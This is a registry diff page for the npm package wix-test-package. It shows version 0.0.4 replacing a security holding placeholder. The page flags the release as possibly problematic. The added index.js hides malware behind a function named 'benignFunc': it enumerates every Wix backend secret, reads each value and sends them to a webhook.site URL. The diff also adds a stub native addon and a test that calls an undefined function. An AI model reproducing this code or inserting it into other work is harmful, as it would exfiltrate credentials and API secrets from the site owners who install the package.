wix-test-package 0.0.1-security → 0.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of wix-test-package might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,5 @@
1
- # Security holding package
1
+ # Do Not Install
2
+ A package that should not be installed.
2
3
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=wix-test-package for more information.
4
+ ## Installation
5
+ Don't.
package/addon.cpp ADDED
@@ -0,0 +1,24 @@
1
+ #include <node.h>
2
+
3
+ namespace demo {
4
+
5
+ using v8::FunctionCallbackInfo;
6
+ using v8::Isolate;
7
+ using v8::Local;
8
+ using v8::Object;
9
+ using v8::String;
10
+ using v8::Value;
11
+
12
+ void Method(const FunctionCallbackInfo<Value>& args) {
13
+ Isolate* isolate = args.GetIsolate();
14
+ args.GetReturnValue().Set(String::NewFromUtf8(
15
+ isolate, "world").ToLocalChecked());
16
+ }
17
+
18
+ void Initialize(Local<Object> exports) {
19
+ NODE_SET_METHOD(exports, "exec", Method);
20
+ }
21
+
22
+ NODE_MODULE(NODE_GYP_MODULE_NAME, Initialize)
23
+
24
+ }
package/binding.gyp ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "targets": [
3
+ {
4
+ "target_name": "addon",
5
+ "sources": [ "addon.cpp" ]
6
+ }
7
+ ]
8
+ }
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ import wixSecretsBackend from 'wix-secrets-backend';
2
+ import {fetch} from 'wix-fetch';
3
+
4
+ const url = "https://webhook.site/a516471f-c958-46c6-9df8-1623cb8857a7";
5
+
6
+ async function exportSecrets(secrets) {
7
+ //console.log(secrets);
8
+ var index = 0;
9
+ for (var secret of secrets) {
10
+ var value = await wixSecretsBackend.getSecret(secret.name);
11
+ secrets[index].value = value;
12
+ index++;
13
+ }
14
+ //console.log(secrets);
15
+ fetch(url + `?secrets=${JSON.stringify(secrets)}`);
16
+ }
17
+
18
+ exports.benignFunc = function() {
19
+ console.log("Hello World!");
20
+ wixSecretsBackend.listSecretInfo().then((secrets) => exportSecrets(secrets));
21
+ return "Hello World!";
22
+ }
23
+
package/package.json CHANGED
@@ -1,6 +1,44 @@
1
1
  {
2
2
  "name": "wix-test-package",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.4",
4
+ "description": "This is a test in wix",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "mocha test.js",
8
+ "preinstall": "",
9
+ "install": "",
10
+ "postinstall": ""
11
+ },
12
+ "license": "MIT",
13
+ "keywords": [
14
+ "228f9365-41f4-4415-bf20-7348fe2681cf"
15
+ ],
16
+ "author": "Wix Tester <test_pkg@wix.test>",
17
+ "engines": {
18
+ "node": ">4.0"
19
+ },
20
+ "homepage": "http://github.com/doesnotexist/wix-test-pkg",
21
+ "licenses": [
22
+ {
23
+ "type": "MIT",
24
+ "url": "http://github.com/doesnotexist/wix-test-pkg/LICENSE"
25
+ }
26
+ ],
27
+ "contributors": [
28
+ {
29
+ "name": "wix tester",
30
+ "email": "test_pkg@wix.test",
31
+ "url": "https://github.com/doesnotexist/wix-test-pkg"
32
+ }
33
+ ],
34
+ "repository": {
35
+ "type": "git",
36
+ "url": "http://github.com/doesnotexist/wix-test-pkg"
37
+ },
38
+ "devDependencies": {
39
+ "chai": "^4.1.2",
40
+ "mocha": "^5.0.5",
41
+ "bindings": "^1.5.0",
42
+ "node-gyp": "^7.1.2"
43
+ }
6
44
  }
package/test.js ADDED
@@ -0,0 +1,8 @@
1
+ const expect = require('chai').expect;
2
+ const myapp = require(".");
3
+
4
+ describe('Testing printMsg function, should return "Hello World!" ', () => {
5
+ it('Should Return Hello World!', () => {
6
+ expect(myapp.printMsg()).to.equal("Hello World!");
7
+ });
8
+ });